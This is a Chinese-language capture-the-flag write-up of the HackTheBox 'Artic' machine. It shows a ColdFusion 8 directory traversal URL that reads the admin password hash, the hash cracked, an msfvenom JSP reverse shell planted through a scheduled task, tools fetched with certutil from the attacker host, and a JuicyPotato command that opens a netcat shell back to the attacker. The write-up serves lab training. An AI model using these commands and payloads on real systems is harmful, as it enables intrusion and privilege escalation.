> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/writeups-ctf/hackthebox/windows-easy/artic-hackthebox-writeup.md).

# Artic HackTheBox 复盘

Artic HackTheBox 简单 Windows 机器复盘，涵盖 Adobe ColdFusion 8 利用、目录遍历漏洞、破解哈希、滥用计划任务 - 创建恶意 JSP 文件，并

{% hint style="warning" %}
**技能：**

* Adobe ColdFusion 8 利用
* 目录遍历漏洞
* 破解哈希
* 滥用计划任务 - 创建恶意 JSP 文件
* 滥用 SeImpersonate 权限（权限提升）
  {% endhint %}

## 侦察

**工作区设置：**

通过创建三个文件夹来设置工作区，用于存放重要内容、漏洞利用和 Nmap 侦察结果。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7679e421ada52921351be6fa8b049384656479ef%2Fimage%20(2390).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 连接检查**

检查 VPN 连接，以确保与目标机器的稳定通信。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-878be6e67928319b6142833c09c18fbdfb74aed9%2Fimage%20(2391).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 发现开放端口：**

枚举开放端口，并将结果导出到 Nmap 目录中的“allPorts”文件：

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.11 -oG allPorts
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-090508d2306b229967af48fee98b1caa89a980b0%2F%7B828CC081-5D1C-4D91-8CB4-40097C21D66A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**使用 extractPorts 分析开放端口：**

使用 extractPorts 函数以简洁格式显示开放端口，并将其复制到剪贴板。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4ec756ab176827e2a3ec0b2532ecb6cb0eda0d1a%2F%7B218DF000-6BE5-4540-B995-FC71349B6145%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**使用 Nmap 进行端口版本扫描：**

使用 Nmap 扫描服务版本，并将输出保存到“targeted”文件中：

```bash
nmap -sCV -p135,8500,49154 10.10.10.11 -oN targeted
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1ca113fa4df70e68dd6684d1b258200e0b803a4f%2Fimage%20(2392).png?alt=media" alt=""><figcaption></figcaption></figure>

## Adobe ColdFusion 8 利用（8500 端口）

我们观察到 8500 端口上有一个可访问的管理服务，连接 Adobe ColdFusion 需要用户名和密码。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ade846b5046c5f0ab83ef2846641ba06d2d2b07a%2F%7B1CC3833D-F943-4B87-B71A-810A6E15C612%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

通过在 `searchsploit`中搜索相关漏洞，我们找到一个目录穿越漏洞的可执行脚本。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fcf6bf140c1601d0cf0bef22d7d040585f95811d%2Fimage%20(2394).png?alt=media" alt=""><figcaption></figcaption></figure>

`searchsploit -x multiple/remote/14641.py`

该脚本揭示了一个可用于访问密码列表的 LFI 漏洞：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a4998343e734596bd3944c2e805e70504ed82432%2F%7B9002146F-7B0B-4BC9-BF55-8A318BE79027%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

`http://10.10.10.11:8500/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b340b39cac5806ee25c93435dbbf462b8ff2cc7d%2F%7BC324857D-C2B0-4828-BF53-0FD421F999DC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

该文件包含以下密码值：

`password=2F635F6D20E3FDE0C53075A84B68FB07DCEC9B03`

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-108d4b8322728e512d53177c51be2478d5e09ccc%2F%7B26D824F1-FF54-4C1C-BADB-C652D5604BD0%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 破解密码

{% embed url="<https://crackstation.net/>" %}

使用 CrackStation，我们解密了这个哈希，密码是 `happyday`。我们现在可以成功连接。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-55f9558566c4fdc026aac981b9aa47b0d9dd6cba%2F%7B6CF3AD95-1FD7-4BC5-899C-C130B67C7DC5%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### 创建恶意计划任务

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ef18d4dcf4a28486e0eec0c8de2d66d314affc4%2F%7BB28D3324-1AF6-4F19-AFF5-0136AE377EBA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

在计划任务部分，我们将创建一个新任务，将恶意文件保存到 `C:/ColdFusion8/wwwroot/CFIDE` 目录中，我们对该目录具有读/写权限。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-21d3997ddaa0f9ce287192393bcdc5d9c6361324%2F%7B0BAF15D5-5336-43E6-9C82-BD77E829DD05%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**创建 JSP 文件：** 由于服务器可以解析 JSP 文件，我们将使用 `msfvenom`:

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ee526fbf8a3e068a09bffd014648333f35fb3cda%2Fimage%20(2395).png?alt=media" alt="" width="375"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5754cc3d05efcf9010dc9129abc0685c16cf6d1b%2Fimage%20(2396).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f raw > shell.jsp
```

**添加新任务：** 我们设置计划任务来运行这个恶意文件。

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8f03fd260ee4212c77f66e7229c19c47a99ac8e7%2F%7B0DBCE25D-C0E3-4281-8ED7-B7073989C3C1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-66d7f2409907b47c85fc31c2287491f4afcad118%2Fimage%20(2399).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

/*/* 用于传输文件的 HTTP 服务器：/*/* 为了传输 JSP 文件，我们在本机启动一个 HTTP 服务器：

```bash
python3 -m http.server 80
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a72015d2fca4b9c534f8e556664c1224fc78e168%2F%7B725CDDFC-ED0B-43B4-B444-789DEE05DE54%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**监听与执行：** 我们监听 443 端口以接收反向 shell，然后在 `/CFIDE/`:

```bash
rlwrap nc -nvlp 443
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6e7f26ce06326ecc16a75b8cdc37f9a6097a512b%2Fimage%20(2400).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b5fe984867ed35f62b86c04d056475a9a131b10%2Fimage%20(2401).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### user.txt 标志 :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-da1bd80a13c8ed9cb923d84e3db073895a66ee9b%2Fimage%20(2402).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## 权限提升

### 滥用 SeImpersonatePrivilege：

我们发现该用户拥有 `SeImpersonatePrivilege` 权限，这使他容易受到某些权限提升技术的利用。下面的命令确认了该权限的存在：

```bash
whoami /priv
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-326f22835ee1600efb1c52f89c668c945823a8ca%2Fimage%20(1145).png?alt=media" alt=""><figcaption></figcaption></figure>

为了利用这个漏洞，我们将使用 **JuicyPotato**，这是一个在 Windows 环境下滥用该权限的知名工具。

**下载所需工具**

{% embed url="<https://github.com/ohpe/juicy-potato/releases/tag/v0.1>" %}

{% embed url="<https://eternallybored.org/misc/netcat/>" %}

**启动一个 HTTP 服务器** 在我们的攻击机上提供文件：

```bash
python3 -m http.server 8080
```

**将文件传输到目标机器** 使用 `certutil`:

```powershell
certutil.exe -f -urlcache -split http://10.10.14.10:8080/JP.exe
certutil.exe -f -urlcache -split http://10.10.14.10:8080/nc64.exe
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e061cc588b6152c2e488cc9a8ba230e80c95005e%2F%7B7A5EA247-6705-4AE6-9179-CC05D7C19D62%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**利用 JuicyPotato 进行权限提升的执行**

现在我们将运行 JuicyPotato 以获得特权会话。以下命令启动 JuicyPotato，它会运行 `cmd.exe` 以高权限并通过 Netcat 与我们的攻击机建立连接：

```powershell
./JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c C:/Windows/Temp/privesc/nc.exe -e cmd 10.10.14.10 1234"
```

**登录到高权限会话**

为了截获连接，我们监听 1234 端口：

```bash
rlwrap nc -nvlp 1234
```

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e3daf54d334df83828448b33a33c2507c321742e%2Fimage%20(1146).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### root flag :)

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f6a1a1c85b5880d7c2ceec0377ce0ba8610174a%2Fimage%20(1147).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cb205f3bda9f91a774548385f0c0a44224b0973c%2F%7B331DA03E-2FE6-4869-BA88-2B442360EB86%7D.png?alt=media" alt="" width="525"><figcaption></figcaption></figure>


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